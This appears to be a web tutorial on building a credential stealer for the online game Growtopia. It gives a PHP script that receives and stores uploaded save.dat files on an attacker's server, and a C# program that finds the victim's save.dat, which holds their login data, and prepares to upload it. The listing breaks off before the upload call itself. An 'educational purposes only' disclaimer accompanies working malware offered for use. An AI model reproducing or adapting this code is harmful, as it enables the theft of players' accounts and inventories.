How to make a Growtopia Save.dat stealer
Growtopia is a popular online game where players can create and explore worlds, trade items, and chat with other players. However, some malicious users may want to steal the account information of other players, such as their username, password, and inventory. This can be done by using a save.dat stealer, which is a program that copies the save.dat file from the victim's computer and sends it to the attacker. The save.dat file contains the account information of the player, and can be used to log in to their account.
How to make a Growtopia Save.dat stealer
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In this article, we will show you how to make a simple save.dat stealer using C# and PHP. This is for educational purposes only, and we do not condone or encourage any illegal or unethical use of this program. Please use it at your own risk and responsibility.
Step 1: Create a PHP script to receive the save.dat file
The first step is to create a PHP script that will receive the save.dat file from the C# program and store it on a server. You can use any free PHP hosting service for this purpose. The PHP script should look something like this:
<?php
// Check if a file was uploaded
if(isset($_FILES['save']))
// Get the file name
$filename = $_FILES['save']['name'];
// Get the file content
$content = file_get_contents($_FILES['save']['tmp_name']);
// Save the file on the server
file_put_contents(\"savedats/\".$filename, $content);
// Echo a success message
echo \"File uploaded successfully\";
else
// Echo an error message
echo \"No file uploaded\";
?>
This script will check if a file named \"save\" was uploaded via POST request, and if so, it will get its name and content, and save it on a folder named \"savedats\" on the server. You can change the folder name or add some authentication or encryption if you want. Then, it will echo a message indicating whether the upload was successful or not.
Step 2: Create a C# program to send the save.dat file
The second step is to create a C# program that will find and send the save.dat file from the victim's computer to the PHP script on the server. You can use Visual Studio or any other C# IDE for this purpose. The C# program should look something like this:
using System;
using System.IO;
using System.Net;
using System.Text;
namespace SaveDatStealer
{
class Program
{
static void Main(string[] args)
{
// Get the path of the save.dat file
string path = Environment.GetFolderPath(Environment.SpecialFolder.LocalApplicationData) + @\"\\Growtopia\\save.dat\";
// Check if the file exists
if (File.Exists(path))
{
// Read the file content as bytes
byte[] data = File.ReadAllBytes(path);
// Create a web client object
WebClient client = new WebClient();
// Create a boundary string for multipart/form-data request
string boundary = \"---------------------------\" + DateTime.Now.Ticks.ToString(\"x\");
// Set the content type header
client.Headers.Add(\"Content-Type\", \"multipart/form-data; boundary=\" + boundary);
// Create a memory stream object
MemoryStream stream = new MemoryStream();
// Write the boundary bytes
byte[] boundarybytes = Encoding.ASCII.GetBytes(\"\\r\\n--\" + boundary + \"\\r\\n\");
stream.Write(boundarybytes, 0, boundarybytes.Length);
// Write the content disposition header
string header = \"Content-Disposition: form-data; name=\\\"save\\\"; filename=\\\"\" + Path.GetFileName(path) + \"\\\"\\r\\nContent-Type: application/octet-stream\\r\\n\\r\\n\";
byte[] headerbytes = Encoding.UTF8.GetBytes(header);
stream.Write(headerbytes, 0, headerbytes.Length);
// Write the file content bytes
stream.Write(data, 0, data.Length);
// Write the end boundary bytes
byte[] endboundarybytes = Encoding.ASCII.GetBytes(\"\\r\\n--\" + boundary + \"--\\r\\n\");
stream.Write(endboundarybytes, 0, endboundarybytes.Length);
// Get the stream as an array of bytes
byte[] requestdata = stream.ToArray();
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